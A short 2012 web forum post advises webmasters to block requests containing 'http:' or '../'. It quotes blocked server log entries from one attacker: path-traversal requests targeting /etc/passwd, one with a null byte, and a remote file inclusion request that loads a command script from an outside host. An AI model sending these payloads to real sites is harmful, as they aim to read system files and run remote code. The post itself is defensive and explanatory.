g1smd - 8:23 pm on Jun 10, 2012 (gmt 0)

Here's why you should also block all requests with http: or ../ in either the path or query string parameters.

All in the same second:
2012-nn-nn nn:nn:nn 78.46.74.nn 403 /search.php?page=../../../../../../../../../etc/passwd%00 <unknown referer> Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Geck
2012-nn-nn nn:nn:nn 78.46.74.nn 403 /search.php?page=../../../../../../../../../etc/passwd <unknown referer> Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Geck
2012-nn-nn nn:nn:nn 78.46.74.nn 403 /search.php?page=http://www.examplehotel.com.br/cmd3.txt?&cmd=id <unknown referer> Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Geck